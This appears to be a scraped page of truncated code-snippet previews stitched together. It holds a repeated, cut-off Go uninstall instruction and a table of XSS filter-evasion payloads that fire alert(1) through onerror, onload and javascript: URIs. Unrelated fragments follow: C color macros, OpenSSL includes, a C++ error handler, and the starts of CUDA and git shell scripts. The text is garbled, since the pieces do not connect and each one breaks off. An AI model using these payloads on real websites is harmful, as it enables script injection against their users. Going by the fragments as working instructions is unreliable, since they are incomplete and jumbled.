System: Debian/Ubuntu/Fedora. Might work for others as well.
As mentioned here, to update a go version you will first need to uninstall the original version.
To uninstall, delete the /usr/local/go directory by:
| <body oninput=javascript:alert(1)><input autofocus> | |
| <math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math> | |
| <frameset onload=javascript:alert(1)> | |
| <table background="javascript:javascript:alert(1)"> | |
| <!--<img src="--><img src=x onerror=javascript:alert(1)//"> | |
| <comment><img src="</comment><img src=x onerror=javascript:alert(1))//"> | |
| <![><img src="]><img src=x onerror=javascript:alert(1)//"> | |
| <style><img src="</style><img src=x onerror=javascript:alert(1)//"> | |
| <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div> | |
| <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body> |
System: Debian/Ubuntu/Fedora. Might work for others as well.
As mentioned here, to update a go version you will first need to uninstall the original version.
To uninstall, delete the /usr/local/go directory by:
| /* | |
| * This is free and unencumbered software released into the public domain. | |
| * | |
| * For more information, please refer to <https://unlicense.org> | |
| */ | |
| //Regular text | |
| #define BLK "\e[0;30m" | |
| #define RED "\e[0;31m" | |
| #define GRN "\e[0;32m" |
| // This is 4 year old code, and I have long since switched to PolarSSL | |
| // But I have no reason to believe it is not still valid and functional | |
| #include <openssl/rand.h> | |
| #include <openssl/ecdsa.h> | |
| #include <openssl/obj_mac.h> | |
| #include <openssl/err.h> | |
| #include <openssl/pem.h> | |
| #include <openssl/evp.h> |
| #include <iostream> | |
| #include <openssl/err.h> | |
| #include <openssl/ssl.h> | |
| #include <string.h> | |
| using namespace std; | |
| void handleOpenSSLErrors(void) { | |
| ERR_print_errors_fp(stderr); | |
| abort(); | |
| } |
| #!/bin/bash | |
| ### steps #### | |
| # verify the system has a cuda-capable gpu | |
| # download and install the nvidia cuda toolkit and cudnn | |
| # setup environmental variables | |
| # verify the installation | |
| ### | |
| ### to verify your gpu is cuda enable check |
| #!/bin/bash | |
| # First parameter is the sub-directory-absolute-path | |
| # Second parameter is the link of the repo | |
| # A smart split to get the repo-name, with / as a separator | |
| REPO_NAME="$(echo $2 | grep -oE '[^/]+$')" | |
| git init $REPO_NAME | |
| cd $REPO_NAME |